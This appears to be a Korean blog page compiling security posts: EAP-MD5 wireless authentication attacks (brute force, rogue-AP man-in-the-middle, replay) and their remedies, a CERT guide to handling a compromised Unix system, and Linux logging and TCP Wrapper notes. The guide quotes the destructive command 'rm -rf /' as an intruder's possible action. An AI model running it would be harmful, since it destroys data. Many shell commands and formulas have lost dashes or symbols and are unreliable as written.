    최초의 ‘EAP-Request/Identity’ 메시지에 대한 응답인 ‘EAP-Response/Identity’ 메시지는 사용자의 ID를 전송한다. 따라서 공격자는 무선 구간의 스니핑을 통해 사용자의 ID와 서버의 시도, 그리고 클라이언트의 응답의 세 가지 항목(Triplet)을 수집하게 된다.

    여기서 사용자 A의 ID를 IDA라고 하고 서버의 시도를 CHN, 그리고 이에 대한 클라이언트의 응답을 RESPN이라고 가정한다. 그러면 EAP-MD5 프로토콜에 따라 RESPN은 다음과 같이 생성되었다고 가정할 수 있다.
    RESPN = HashMD5(EAP Identifier||PWA||CHN)

    여기서 EAP 아이덴티파이어(Identifier)는 EAP 패킷의 아이덴티피어 필드 값으로서 EAP 패킷 형식의 일부이므로 무선 구간의 스니핑을 통해 공격자가 쉽게 알 수 있다. PWA는 사용자 A의 비밀번호라고 정의한다. 따라서 현재 공격자가 알 수 없는 값은 PWA인 것이다.

    만약 공격자가 PWA이라는 값을 추측해서 RESPN이라는 값을 계산했을 경우 RESPN과 RESPN이 일치하면 PWA과 PWA는 일치할 것이다.

    이러한 속성은 해쉬(Hash)MD5 함수의 속성과 관련이 있다. 일반적으로 암호학적인 해쉬 함수인 경우 단방향 함수(One-way Function), 독자성(Uniqueness) 등을 만족해야 하는데 MD5 해쉬 알고리즘의 경우 이러한 부분을 대부분 만족하고 있다. 따라서 RESPN과 RESPN의 값이 일치할 때 PWA와 PWA의 값이 일치하지 않는 경우는 확률적으로 0에 가깝다고 봐도 무방할 것이다.

    현재 MD크랙(Crack)과 같은 MD5 알고리즘 브루트-포스 어택(Brute-Force Attack) 툴의 경우 8자리 숫자 패스워드의 경우 1분 이내 크래킹이 가능하며 영문자 소문자와 숫자가 섞여 있는 경우 8자리 이하의 패스워드의 경우 약 1주 정도가 소요된다. 따라서 EAP-MD5를 사용할 경우 사용자 패스워드는 엄격한 룰을 적용하여 영문자 대소문자와 숫자를 섞어서 12자리 이상으로 하되 적어도 1개월 미만의 주기로 패스워드를 변경하도록 해야만 한다.

    공격 유형 2. 중간자 공격 및 의인화 공격

    EAP-MD5를 이용한 인증 프로토콜이 가지는 한계중의 하나는 양방향 인증을 제공하지 않는다는 점이다. 즉, 서버는 사용자를 인증하지만 사용자는 서버를 인증할 수 없다. 따라서 이 점을 이용하면 여러 가지 형태의 공격이 가능해 지는데 대표적인 것이 중간자 공격(MitM attack)과 의인화(Impersonation) 공격이다.

    중간자 공격은 사용자와 인증 서버간 트래픽을 중간에서 가로채는 방식으로 굳이 사용자의 패스워드를 알지 못해도 적용 가능한 공격 방법이다.

    중간자 공격은 사용자의 트래픽을 가로채는 방식이므로 어느 지점에서 가로챌 수 있을 지에 대한 검토가 필요하다. 지난 회에서 언급했지만 오픈 인증(Open Authentication) 모드일 때 동일한 ESSID를 사용할 경우 사용자는 전파 환경이 더 나은 AP로 접속하게 된다. 따라서 로그(Rogue) AP를 이용해 중간자 공격을 시도할 수 있다.

    사용자는 공격자의 AP를 자신이 접속해야 할 AP로 생각하고 접속하여 ID와 EAP-MD5 프로토콜에 따른 인증 절차를 진행하게 된다. 공격자는 자신이 설치한 AP로부터 전송되는 데이터를 실제 사용자가 접속해야만 하는 AP로 접속하여 전송하기만 하면 된다. 최종적으로 실제 AP로부터 인증 성공 메시지를 받고 망에 대한 접근을 허락 받으면 공격자는 사용자에게 인증 실패 메시지만 전달하면 된다. 이러한 방식으로 사용자의 ID와 패스워드를 모르는 상태에서도 망에 대해 접근을 시도할 수 있다.

    그러나 이러한 방식은 무선에서는 큰 효과가 없을 수도 있다. 우선 사용자와 공격자 간 무선 환경의 차이가 커야 하며 또한 공격자가 망에 대한 접근 권한을 얻었더라도 실제로 사용자가 인증 실패 후 재시도를 하는 경우가 많으므로 이에 대한 재시도 방지 대책이 있어야 하기 때문이다.

    의인화 공격은 MitM 공격에 비해 현실적으로 가능성이 더 높은 공격 방법이다. MitM 공격과 비슷한 형태로 구성이 되지만 차이점은 사용자로부터 데이터만 수집하고 실제 ID와 패스워드를 공격한다는 점이 차이가 있다.

    일반적으로 브르트-포스(Brute-Force) 공격을 하기 위해 데이터를 수집하면 충분한 길이의 시도를 생성하므로 실제 MD5 알고리즘을 연산하기 위한 연산양이 증가할 수 있다. 그러나 의인화 공격을 이용하면 공격자는 자신이 원하는 길이와 원하는 값을 시도로 전달할 수 있으며 또한 EAP 아이덴티파이어 역시 일정한 값으로 전달할 수 있다. 따라서 부르크 포스 공격을 훨씬 원활하게 진행할 수 있다.

    <그림6> 중간자 공격



    공격 유형 3. 재반복 공격

    공격자는 무선 구간에서의 스니핑을 통해 사용자 ID와 EAP 아이덴티파이어, 서버로부터의 시도와 사용자의 응답으로 이루어진 리스트를 만들어 낼 수 있다. 이러한 리스트가 만들어지면 공격자는 AP에 접속하여 사용자 ID를 ‘EAP-Response/Identity’ 메시지를 통해 전송하여 서버가 ‘EAP-Request/MD5-Challenge’ 값을 전송하도록 해 만약 자신의 리스트에 해당하는 값이 있으면 그 값에 해당하는 응답을 보내어 망에 대한 접근 권한을 획득할 수 있다.

    이러한 재반복 공격이 가능한 것은 일반적인 시도-응답 프로토콜에서는 재반복 공격을 방어할 수 있는 메커니즘이 필요한데 EAP-MD5 에서는 이러한 재반복 방어 알고리즘이 없기 때문이다.


    IEEE 802.1x with EAP-TLS

    이상과 같이 IEEE 802.1x를 적용하더라도 EAP-MD5 인증 알고리즘을 적용할 경우 여러 가지 유형의 공격들이 가능해 진다. 따라서 EAP-MD5는 사실상 무선랜 환경에서 사용자 인증용으로 사용하기 어려운 프로토콜이며 실제로 마이크로소프트 역시 자사의 ‘와이어리스 제로 컨피규레이션(Wireless Zero Configuration)’ 서비스에서 EAP-MD5 인증은 더 이상 제공하지 않는다.

    따라서 IEEE 802.1x를 이용하여 보다 강력한 보안을 무선랜 환경에서 구축하기 위해서는 양방향 인증과 다이내믹 WEP 혹은 TKIP를 이용할 수 있도록 새로운 암호화 키를 생성할 수 있는 인증 알고리즘이 필요하게 된다. 이러한 조건들을 만족하는 인증 알고리즘이 EAP-TLS이다.

    EAP-TLS는 TLS(Transport Layer Security) 프로토콜을 EAP 상에서 구현한 알고리즘으로 공개키 기반 인증서를 이용하여 선택적으로 양방향 인증을 수행하며 인증 후 TLS 레코드 레이어(Record Layer)에서 사용하는 암호화 키 생성 알고리즘을 이용하여 PMK(Pairwise Master Key)를 생성하여 WEP 키 혹은 TKIP의 PTK를 생성하는데 사용한다. 따라서 EAP-TLS의 경우 구축할 때 양방향 인증을 반드시 적용하면 보안적인 측면에서 위에서 설명했던 취약점들을 모두 극복하고 있다.

    그러나 EAP-TLS 역시 몇 가지 단점을 보이고 있는데 첫째는 관리상의 어려움이고 둘째는 인증서 확인 절차상의 문제점이다. EAP-TLS는 공개키 인증서 기반의 인증을 수행하는데 서버는 물론이고 각 사용자들도 개인키 정보와 공개키 인증서를 가지고 있어야 한다. 또한 사용자가 서버 인증서를 확인하기 위해서 서버 인증서를 발급한 루트 CA 인증서를 가지고 있어야 한다. 이러한 정보들은 온라인으로 쉽게 전달될 수 있는 형태가 아니라 오프라인으로 신원 확인 후 인증서 발급 절차를 거쳐야 하는 등 상당한 관리상의 부담을 초래한다.

    물론 기존에 공개키 기반 구조가 갖추어져 있는 기업이라면 기존 사용중인 인증서를 그대로 이용하여 EAP-TLS 기반의 무선랜 보안 구조를 구축할 수 있다. 그러나 이러한 공개키 기반 구조가 없다고 하면 관리자가 모든 사용자에게 일일이 인증서를 다 발급해야 하므로 큰 부담이 아닐 수 없다.

    인증서 확인 절차 상의 문제점은 TLS를 EAP에 적용하다 보니 발생하는 문제점이다. 기존 TLS의 경우 레이어 4에서 적용되므로 사용자가 서버의 인증서를 확인하기 위해 상위 인증서 발급 기관으로 확인할 수 있는 방법이 있었으나 무선랜에서 IEEE 802.1x와 EAP-TLS를 적용하게 되면 레이어 2에서 확인해야 하므로 온라인으로 상위 인증기관으로 접속할 수 있는 방법이 없다. 따라서 사용자가 서버를 인증하고자 하는 경우 미리 저장된 상위 인증 기관의 공개키 인증서를 이용할 수밖에 없다.


    IEEE 802.1x with EAP-TTLS

    EAP-TLS의 문제점들을 해결하기 위해 EAP-TTLS(EAP -Tunneled TLS)와 PEAP(Protected EAP)라는 새로운 프로토콜들이 제안되어 현재 인터넷 드래프트로 IETF에서 진행 중에 있다.

    EAP-TTLS와 PEAP는 TLS 알고리즘을 이용하여 선택적으로 서버에 대한 인증을 수행하고 TLS 핸드쉐이크(Handshake) 과정 후에 생성되는 세션키를 이용하여 암호화 터널을 만든 다음 이러한 터널 내부에서 새로운 인증 알고리즘을 적용하여 사용자에 대한 인증을 하는 방식이다. EAP-TTLS의 경우 터널 내부에서 사용 가능한 인증 알고리즘들은 EAP와 CHAP, MSCHAP 등이 있으며 PEAP의 경우 EAP만을 사용 가능하도록 하고 있다. 현재 EAP-TTLS는 드래프트 버전 3까지 발표되었으며 PEAP의 경우 드래프트 버전 7을 통해 PEAP v2까지 발표되어 있다. 마이크로소프트사의 경우 PEAP에 대해 별도의 드래프트 규격을 발표하여 PEAP v0의 형태로 발표되어 있다. 따라서 현재 윈도 XP나 윈도 2000 등에서 제공되는 보호된 EAP(PEAP)의 경우 PEAP v0을 의미한다.

    EAP-TTLS나 PEAP와 같은 형태의 프로토콜들을 일반적으로 터널 인증 알고리즘이라고 부르는데 이러한 인증 알고리즘의 경우 두 단계로 인증이 나뉘어 진다. 첫 번째는 서버 인증을 포함한 터널 생성 단계이고 두 번째는 터널 내부에서 사용자 인증을 진행하는 단계이다. 이러한 터널인증 알고리즘들은 터널 생성 시 암호화 세션 키를 생성할 수 있으므로 무선랜에 적용될 경우 다이내믹 WEP이나 TKIP를 위한 PMK를 생성할 수 있는 기능을 동시에 제공한다. 터널 인증 알고리즘들은 EAP-TLS에 비해 여러 가지 장점들을 제공하는데 일반적으로 터널 내부에서는 패스워드 기반의 인증 프로토콜을 적용하더라도 기존 패스워드 기반의 인증 프로토콜의 보안 취약점들을 극복하고 있다. 이는 터널 내부의 트래픽은 이미 암호화되어 있어 스니핑이나 재반복 공격 등을 방어하고 있기 때문이다.

    따라서 서버 인증은 공개키 인증서 기반으로 수행하더라도 각 사용자들은 자신의 인증 정보를 개인키와 공개키 인증서가 아니라 ID와 패스워드 기반으로 유지할 수 있다. 이로 인해 기존 EAP-TLS가 가지는 관리상의 어려움은 상당 부분 해소된다고 볼 수 있다. 다만 EAP-TTLS나 PEAP 역시 양방향 인증은 옵션이므로 구축 시 반드시 양방향 인증을 수행하도록 구성을 설정해야만 한다. 또한 터널을 생성하는 서버와 터널 내부에서 사용자를 인증하는 서버는 다를 수 있으므로 이 때 각 서버가 반드시 동일한 보안 도메인(Secure Domain) 내에 존재하거나 혹은 VPN 등 보호된 네트워크를 통해 통신할 수 있도록 설정돼야 한다.


    안전한 무선랜 보안 ‘IEEE 802.1x 적용 필수’

    지금까지 살펴본 바로는 무선랜을 안전하게 구축하기 위해서는 IEEE 802.1x 규격의 완전한 적용이 필수적일 뿐만 아니라 내부 인증 알고리즘을 반드시 다이내믹 WEP 알고리즘이나 TKIP 알고리즘을 적용가능 한 인증 알고리즘을 사용해야한다. 또한 인증 알고리즘 적용 시 반드시 양방향 인증을 수행해야 함을 알 수 있다.

    현재 가장 널리 사용되고 있는 EAP-TTLS나 PEAP 등의 알고리즘을 사용할 때 관리상의 어려움이나 설치 상의 문제, 인프라의 부족 등을 이유로 서버 인증을 생략하는 경우가 많은데 이것은 보안 기반 구조를 설치하고도 여전히 취약점을 안고 있는 비효율적인 시스템이라 할 수 있다.

    최근에 출시되는 인증 서버들은 하드웨어 일체형에 서버 인증을 위한 인증서 발급 및 관리 시스템이 내장되어 있어 관리자가 손쉽게 양방향 인증을 구현할 수 있도록 하고 있으며 요구자 소프트웨어 역시 인증서 관리 기능이 포함된 제품들이 있어 설치를 쉽게 진행할 수 있도록 하고 있다.

    이상과 같이 무선랜 구축 시 능동적으로 망에 대한 침투와 도청 등을 막고 사용자에 대한 인증 및 관리 기능을 강화할 수 있는 IEEE 802.1x 규격의 적용에 대해 알아보았다

  • 2006/09/08 15:55 2006/09/08 15:55
    이 글에는 트랙백을 보낼 수 없습니다

             한국전산망침해사고대응지원팀/한국정보보호센터
                             CERTCC-KR/KISA
                  Computer Emergency Response Team, Korea
                      Korea Information Security Agency
                     Tel: 02-3488-4119, FAX: 02-3488-4129
                           cert@certcc.or.kr


    서    론

    이 문서는 당신의 시스템이 침입을 이미 당했을때 유닉스 기계의 보안을 위해
    무엇을 할 것인가를 보이고 있다. 이문서는 아직 침입을 당하지 않은 상태라
    할지라도 도움이 된다.
    ※ 이문서는 Compromise FAQ (Version: 2.0 , Christopher William Klaus/
    ISS) 을 분석한 내용이다.

    1.   침입자의 흔적과 출발지를 다음을 이용하여 분석한다.

    ===============================================================
     1.  who ;
    사용자 및 사용자의 컴퓨터 확인
     2.  w    ;
    사용자 및 사용중인 명령의 확인
     3.  last ;
    사용자들의 로그인/로그아웃 일시 기록 확인
     4.  lastcomm ;
    사용자들의 시스템 명령 및 프로세스 기록 확인
     5.  netstat ;
    네트워크 접속 현황 확인
     6.  snmpnetstat ;
    네트워크관리 시스템에서의 현황
     7.  라우터 정보 ;
    라우터의 라우팅 및 접속 등의 현황 확인
     8.  /var/adm/messages ;
    전자우편 송수신 현황 기록 확인(많은 침입자들이 자신의 기계로
    전자우편 송신)
     9.  syslog ;
    시스템 로그 확인(다른 기계로도 로그를 보낸다)
    10.  wrapper 로그 ;
    외부 시스템 접속 차단 프로그램의 연결
    11.  기계의 모든 사용자에게 finger를 하여 어디서 왔는지 점검
    ===============================================================

    참고 : who, w, last, lastcomm은 /var/pacct, /usr/adm/wtmp 의 기
    록에 의해보고하는데, 침입자들은 뒷문(Backdoor Program)을 이용하
    여 이 로그들을 수정하여 자신의 흔적을 지울 수 있다. 그리고 침입
    자가 아직 이런 뒷문이 없다하더라도 아주 쉽게 이로그들을 수정하거
    나 지울 수 있다. 하지만 가끔 침입자들은 모든 로그삭제를 잊어버릴
    수도 있으며, 특히 비 표준 유닉스 로그를 설치한 경우에 더욱 그렇
    다.

    2. xinetd나 tcp_wrapper는 당신이 원한다면 외부에서의 모든 접속에
    대해 로그를 남길 수 있으며, 침입자가 로그를 수정하거나 지울 수
    없도록 이 로그들을 다른 기계에 옮겨두는 것이 좋다 netlog는 다음
    에서 가져올 수 있다. 적절한 대책을 세우기 전에 침입자가 ethernet
    sniffer로 다른 기계에 어떻게 침입하는지를 모니터링하는 것이 좋다.

    3. 외부로 부터 접속하는 기계들을 막고 특히 침입자의 접근을 막기 위
    해 네트워크를 중지시킨다. 만약 침입자가 눈치챈다면 당신의 기계에  
    "rm -rf /"을 실행하여들지 모른다.

    4. 시스템 실행 파일의 변경 유무룰 점검하는데, 특히 뒷문프로그램으로
    잘 이용되는 다음 프로그램들을 중점 점검한다.

         1.  /bin/login
         2.  모든 /usr/etc/in.* files (예: in.telnetd)
         3.  /lib/libc.so.* (on Suns).
         4.  inetd에서 호출되는 모든 것

    기타 잘 교체되는 것으로서는  다음과 같은 것이 있다.

         1.  netstat - 정보를 감추게 한다
         2.  ps - 프로세스를 감추게 한다 (예: Crack)
         3.  ls - 디렉토리를 감춘다
         4.  ifconfig - 이더넷에 대한 promiscuity mode 를 감춘다
         5.  sum - sum을 수정하지 않고도 실행파일의 체크썸을 올르게 위장
    할 수 있으므로 더 이상 교체하지는 않는다. sum 을 믿어
    서는 안된다.

    파일의 실제 수정 시간을 알기 위해서는 "ls -lac"를 사용한다.
    /etc/wtmp 를 점검하여 시스템 시간을 체므하고 CD나 테이프의 원
    본과 비교하거나 MD5 체크썸이 이전의 체크썸과 다른지 비교하며,
    흔히 off-line으로 저장된 미리 만들어진 체크썸과 cmp 명령으로 비
    교한다. 또 흔히 사용되는 뒷문으로서 /bin/time과 같은 setuid 프로그
    램인데, 이들은 일반 사용자가 root로 실행할 수 있게 해준다.  이런
    프로그램을 찾기 위해서는 다음 명령을 이용하면 된다.

            find / -type f -perm -4000 -ls

    하다보면 OS  전체를 다시 설치해야될지도 모른다. Tripwire 는 관
    리자 몰래 실행파일을 수정하거나 inetd.conf와 같은 시스템파일을 수
    정을 방지할 수있다.

    5.   사용자들이 자주 자신의 패스워드를 바꿀 수 있도록 해주는 passwd
    프로그램으로 교체한다. anlpasswd, npasswd 혹은 passwd+ 등을 설
    치하여 적절한 패스워드를 만들 수 있도록 하며, Crack 를 주기적으
    로 실행한다. 이것은ftp://ftp.cert.org/pub/tools.crack에서 가져올 수
    있으며, 이 Crack 을 이용하여 사용자들이 어려운 패스워드를 만들도
    록 한다. 네트워크에서 평문 패스워드가 전달되는 것이 문제이다.
    Smart Hub는 LAN에서 sniffer가 모든 LAN을 도청하는 것을 막을
    수 있으며, 혹은 일회용 패스워드를 사용한다.

    6. 모든 사용자의 .rhosts, .forward 등을 점검한다. 만약 .rhosts가 "+"
    를 가지고 있으면 어떤한 시스템에서도 패스워드 체크 없이접근할 수
    있다. COPS는 다음 과 같은 체킹 스크립트를 가지고 있다.

            find / -name .rhosts -ls -o -name .forward -ls

    의심스러운 모든 파일의 생성 및 수정 시간을 점검하는데 다음을 이
    용한다.

            find / -ctime -2 -ctime +1 -ls

    이것은 이틀전 에서 하루 이후 에 수정된 파일을 찾아준다.

    모든 .login, .logout, .profile, .cshrc 들도 적어도 수정일 및 시간 등을
    점검 하며, .rhosts 파일이 잠궈진 것은 없는지, news, sundiag, sync
    등의 계정에 대한 쉘이 보다 안전을 위해 "/bin/false"로 되어 있어야
    하며 "/bin/sh" 등으로 되어 있어서는 안된다.  또한 ". ", ".. "  등의
    디렉토리가 없는지 점검하는데 대부분 /tmp,/var/tmp, /usr/spool/* 나
    공개적으로 쓰기 할 수 있는 디렉토리에서 많이 발견된다.

    7. NFS가 외부에 널리 공개된것은 아닌지 점검한다.
    ftp://harbor.ecn.purdue.edu/pub/davy에서 가져올 수 있는 NFSwatch
    는 NFS트랜잭션에 대해 로그를 만들어주며, "showmount -e" 를 하
    여 적절하게 개방한대로 구성되어 있는지 점검할 수 있다. 256 바이
    트를 넘긴 경우에 nfsd는 버그를 가지고 있으며, 또한 당신이 마운트
    하고 있는 시스템에 대한 점검도 중요하다. 가능한 "nosuid"플래그를
    사용하기 바라며, 다른 호스트나 침입자가 실행하는 NFS마운트된
    suid 프로그램을 실행하는 sysadm에의해 침입되기를 바라지는 않는
    것이다.

    8. 가장 최근의 sendmail을 설치한다.  이전 버젼의 sendmail은 원격지
    명령을 실행하도록 한다.

    9. 가장 새로운 패치를 설치하도록 한다.

    10. 시스템이 취약점이 있는지 점검하는 리스트가 있다.

    (1)  원하지 않은 프로세스가 없는지, "rpcinfo -p"를 이용하여 점검한다.

    (2)  hosts.equiv 에 "+" 가 없는지 점검한다.

    (3)  tftp를 사용하지 않든가, 사용하기를 원한다면 "-s" 플래그를 사용한다.
        이 경우는 대부분 디스크없는 워크스테이션을 위한 경우인데, 적절하게  
        NFS를 이용할수도 있다. 이것을 root 로 실행하지 않도록 하며,        
        /etc/inetd.conf에서 다음과 같이 바꾼다.

         tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot

       혹은 원치 않는 곳에서의 접근을 막기 위해 tcp_wrapper에서 tftpd에 대  
       한 부분을 고치고 모든 접속 상황을 로그로 남긴다.

         tftp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot

        혹은 /etc/hosts.allow 에서 정의된 허용한 곳에서만 접근할 수 있도록  
        조정한다.

    (4) crontab과 at-vobs 를 점검한다. 침입자가 남긴 모든 것을 정리했다고  
        생각한 후 이것이 어떤 작업을 할 수 있다.

    (5)  rc.boot, rc.local(SYSV : /etc/rc?.d/*)나 기타 시스템 시작시 실행 파일
        들을 점검한다. 가장 좋은 방법은 off-line으로 저장했다가 주기적으로  
        점검하는 것이며, sendmail.cf, hosts.allow, at.allow, at.deny, cron.allow,  
        hosts, hosts.lpd 등의 시스템 구성파일들을 점검한다. "aliases"는 메일  
        확장을 위한 것인데,  "uudecode" 등과 같은 것을 가지고 있을 수 있다.
    (6) inetd.conf 와 /etc/services 파일에서 침입자가 추가한 불법 프로그램 서  
       비스가 있는 지 점검한다.

    (7) 현재 가지고 있는 모든 로그 파일(pacct, wtmp, lastlog, sulog, syslog,  
        authlog 등)들을 다른 안전한 곳으로 옮긴다.  /tmp/* 파일들을 먼저 살  
        펴 본 후 재시동(Reboot) 한다.

    (8) /etc/passwd 파일의 여벌파일을 가능한 디스켓 등으로 저장한 후 su 및  
        passwd 프로그램이 뒷문(Backdoor) 가 아님을 확인한 후 root  패스워  
        드를 바꾼다. 만약 침입자가 su 나 passwd 뒷문을 설치하였다면      
        /etc/passwd  파일의 패스워드 부분을 모두 "*"로 바꾼다. 또한 침입자  
        가 패스워드 파일을 가지고 있다면 모든 사용자들의 패스워드를 알아낼  
        가능성이 있으며, 장기간 사용하지 않는 사용자의 패스우드를 바꿀 수  
        도 있다.  NIS서버에서는 단순히 /etc/passwd 뿐 아니라 NIS 맵에 해  
        당하는 것들도 점검해야 한다.

    (9) 익명FTP나 다른 네트워크 서비스 시스템들이 적절하게 구성되어 있는  
        지 점검한다.

    (10) inetd를 다시 설치한다.

    (11) 콘솔 만이 "secure" 단말로 정의하여 다른 단말에서 root 로 로그인할  
        수 없도록 한다.
    (12) hosts.equiv, .rhosts, hosts.lpd 에 "#" 이 있는지 점검한다. 만약 침입자  
        가 "#" 을 기계이름으로 정의하였다면 누구나 신뢰하는 호스트로 정의  
        된다.
    (13) 침입자에 대한 경각심을 늦추지 않는다.

    11.  침입자가 경유한 모든 기관의 시스템에 전자우편을 보내고
    cert@certcc.or.kr 로도 메일을 보내 협조를 요청한다.


    12. 침임자들의 시도를 방지하는 좋은 방법은 방화벽이라는 전산망 침입
    차단시스템을 설치 운영하는 것이다. 하지만 방화벽은 가격이 비싸고
    필터링에 따른 네트워크의 속도가 저하될 가능성이 크다. 라우터에서  
    NFS(2049/UDP), portmap(111/UDP) 를 막아야 한다. DNS 와 NTP
    포트만 제외하고 모든 패킷을 막고, 출발지라우팅(Source Routing),
    모든 IP-Forwarding 패킷을 사용하지 않는다.
    2006/09/08 15:54 2006/09/08 15:54
    이 글에는 트랙백을 보낼 수 없습니다
    Linux  2006/09/08 15:54

    Process accounting

    1 . 패키지 설치 확인

    # rpm qa | grep I acct

    2. accounting 실행

    # service psacct start

    3 . 모든 사용자 계정명령어 자동입력

                # accton /var/account/pacct

    프로세스 통계용 소프트웨어는 수행된 모든 명령들을 디폴트로 /var/account/pacct에 저장한다.

    프로세스 어카운팅

    # rpm qf | /sbin/accton

                (psacct-6.3.2-24

    # rpm ql psacct

    ac 명령어 사용

    # ac d

    # ac p

    sa를 이용해 보고서 작성

    # sa

    로그 서버 만들기

    대상 서버 (대상서버설정)

    # vi /etc/hosts

    192.168.46.100    loghost

    #vi /etc/syslog.conf

    *.info;mal.none;news.none;authpriv.none;cron.none @loghost

    Page 744의 설정처럼 전부 변경, 설정 예 중 하나를 설정 하면 됨

    # /etc/init.d/syslog restart

    로그 서버 설정 법(log server)

    # vi /etc/hosts

    127.0.0.1 localhost. Localdomain localhost

    192.168.40.46 loghost

    192.168.40.45 web1

    192.168.40.40 web2

    # ps ef | grep syslogd

    # pkill -9 syslogd

    # ps ef | grep syslogd

    # /sbin/syslogd r m 0

    # vi /etc/sysconfig/syslog

    SYSLOGD_OPTIONS= -r m 0

                -r 옵션은 리모트 로그를 받겠다는 의미

    로그서버에서 모니터링

    # tail f /var/log/messages

    web1, 대상 서버들에서 로그남기기

    * 일부러 로그인 실패하기

    * 자기 자신에게 root 로그인 실패해 보기

    Tcp wrapper 설정

    l       Xinetd 서비스는 기본적으로 tcp wrapper 의 설정을 적용받는다.

    l       설정 파일만 수정해 주면 됨

    l       /etc/hosts.deny

    l       /etc/hosts.allow

    TCP Wrapper ?

    인터넷 상에서의 접속은 대부분 TCP 프로토콜을 이용하여 이루어지게 됩니다.

    이러한 TCP 접속에 대해 Wrap를 씌워 서버로 접근하는 불필요한(?) 접속에 대해 적절한 제한을 가해주는 것이 바로 TCP Wrapper입니다.


    TCP Wrapper
    는 그 특성상 서비스(데몬)별 및 IP별로 구분하여 설정할 수 있으며, “접속 거부접속 허용을 적절히 제어함으로써 그 효과를 볼 수 있습니다.


    접속 거부 : /etc/hosts.deny

    TCP Wrapper에서 접속 거부를 설정하는 곳입니다.

    여기에 설정된 주소들은 모두 접속이 거부됩니다.

    접속 허용 : /etc/hosts.allow

    TCP Wrapper에서 접속 허용을 설정하는 곳입니다.

    여기에 설정된 주소들은 모두 접속이 허용됩니다.

    /etc/hosts.deny

    # vi /etc/hosts.deny

                all:all                   ->모두 제한 ( 서비스: 사용자IP)

    # telnet localhost             ->모두 제한을 걸어 두었으므로 텔넷으로 접속이 되지 않는다

    /etc/hosts.allow

    # vi /etc/hosts.allow

    in.telnetd : 192.168.40.46 -> 특정IP만 텔넷을 허용하겠다

    sshd : all                                       -> sshd 서비스는 모두 허용하겠다.

    서비스명 : 허용IP

    서비스명 : 허용 네트웍 (192.168.40.)           ->네트웍IP 적용시 마지막에 꼭점을 찍을 것

    서비스명 : all                                 -> (전부허용)

    deny 모두 닫아주고 난뒤에 allow로 특정IP, 네트웍만을 열어주기위해서 사용.

    한마디로 보안을 위해서 제한을 걸어두는 것이다 .

    관련 명령어

    출력내용 끝의 접미사 구분

    sa와 관련한 옵션

    들은 프린트물을 참조하시오 ^^

    스크립트 작성 실습

    * 스크립트 파일명: sa.ksh

    * 생성될 리포트 파일 명은 날짜가 파일명에 들어가도록 만들기

    * 하루간 기록을 파일에 남기기

    * 전체 기록을 파일에 남기기

    * 사용자 기록을 파일에 남기기

    * 현재 통계 기록을 병합하기

    * 스크립트가 하루에 한번 새벽 2시에 실행하도록 crom 에 등록하기

    /root/sa.ksh

    # vi /root/sa.ksh

                #!기록할 파일명

                file_name=date +%Y%m%d

                #file_name=date +%Y%m%d-%H%M%S                ->시분초까지 기록할 경우

                #sa 프로그램경로

                sa=/usr/sbin/sa

                #기록할 디렉토리명

                recorddir=/var/log/acct

                #기록할 디렉토리가 없을 경우 디렉토리 생성

                if [ ! d $recorddir ] ; then

                              mkdir $recorddir

                fi

                # 디렉토리/파일명 지정

                pathname=$recorddir/$file_name

                ######### 파일 기록 ###########

                #날짜 기록 년월일

                date =%Y/%m/%d > $pathname

                #하루간 기록(cron을 매일 돌릴 경우)

                echo ================================ >> $pathname

                echo Days Activity >> $pathname

                echo ================================ >> $pathname

                $sa I >> $pathname

                #전체기록

                echo ================================ >> $pathname

                echo Totals Activity >> $pathname

                echo ================================ >> $pathname

                $sa >> $pathname

                # 사용자 기록

                echo ================================ >> $pathname

                echo User Activity >> $pathname

                echo ================================ >> $pathname

                $sa m >> $pathname

                #현재의 통계 기록을 savacct파일에 병합하기

                #sa s

    시스템 모니터링 1

    l       시스템의 성능은 여러 가지 프로그램의 요청에 효율적으로 조정하여 사용하는가에 달려 있다

    l       가장 중요한 시스템 자원

    n       cpu

    n       메모리

    n       I/O

    n       네트웍

    시스템 모니터링 분야와 관련 프로그램

    시스템 모니터링 프로그램

    분야

    모니터링 프로그램

    CPU

    Top, ps, uptime, vmstat, pstree, iostat, sar

    메모리

    Free, vmstat, sar

    디스크 I/O

    Df, du, quota, iostat, sar

    네트워크

    Ping, netstat, traceroute, tcpdump, nmap, netcat, ntop

    파일(소켓포함)

    Lsof

    1.       시스템이 정상적으로 동작하고 있을 때 모니터링 하기

    2.       주기 적인 점검 필수

    3.       자동화 노력이 필요함

    프로세스 상태

    프린트물 참조 하기 . ^^

    ps aux | more 에 대한 기술

    l       프로세스 상태에서 D는 인터럽트가 불가능한 sleep 상태로 page fault등을 의미하며 page fault 등을 통해 I/Ownd인 상태를 나타낸다.

    l       W memory에 상주하는 페이지가 없다는 것을 의미하며 프로세스가 swapout된 상태를 나타낸다.

    Free

    # free

    cached                           total    dsed     free       shared   buffed    cached

    Menm:                386008   375153   10852     0            57912     139220

    -/+buffers/cache;            160        204987

    Swap:                2096472 160  2096312

    문제 : 현재 여유가 있는 메모리 양은 ?

    버퍼캐쉬

    l       디스크를 읽는 일은 메모리 보다 느리다.

    l       디스크의 동일 짧은 영역을 일은 빈번하다

    l       ls 명령어를 모든 사용자들이 얼마나 자주 사용할지 생각해 보자

    l       디스크로부터 한번 읽어 들인 정보를 메모리에 상당시간 보관한다면 읽을 때만 시간이 소용 될 뿐 속도가 전반적으로 빨라질 것이다.

    l       디스크 버퍼링 (disk buffering) 이라한다.

    l       이런 목적으로 쓰이는 메모리를 버퍼 캐쉬

    (buffer cashe)

    2006/09/08 15:54 2006/09/08 15:54
    이 글에는 트랙백을 보낼 수 없습니다
    더보기" name=source_sumtext>
    ##### Apache Admin### 보안설정 - 디렉토리보안 (cgi-bin, documentroot),기초보안 (ServerTokens, .htaccess, CGI), Option 지시자 (심블릭 링크, 디렉토리, SSI)*** 사용자 인증 - .htaccess, 사용자 인증 설정법*** 권한부여 - Satisfy 접근통제, order 지시자### High technic - rotatelogs, URL Redirection, Reverse Proxy, ErrorDocument, 주소와 포트지정, signal*** 서버 튜닝 - Configuration 파일, 커널 설정, 자원 설정*** 접속이 안될때 - 비정상접속 (dos, include), 정상접속 (keepalive, maxclient, RLimitMEM)*** Tips - PIDFILE, Language, 무단링크 막기############################################################Apache Admin######################### 보안설정각 파일과 디렉토리 구조는 다른 접근 통제나 사용자 인증 방법을 가질 수 있고접근 통제와 사용자 인증 방법을 사용하여 각 자원에 대한 다양한 권한을 부여할수 있다.- 웹서버 데몬은 chroot에 설치하는 것이 안전하다.### 디렉토리 보안 #### chown root.root -R /usr/local/apache			::: or root.nobody# 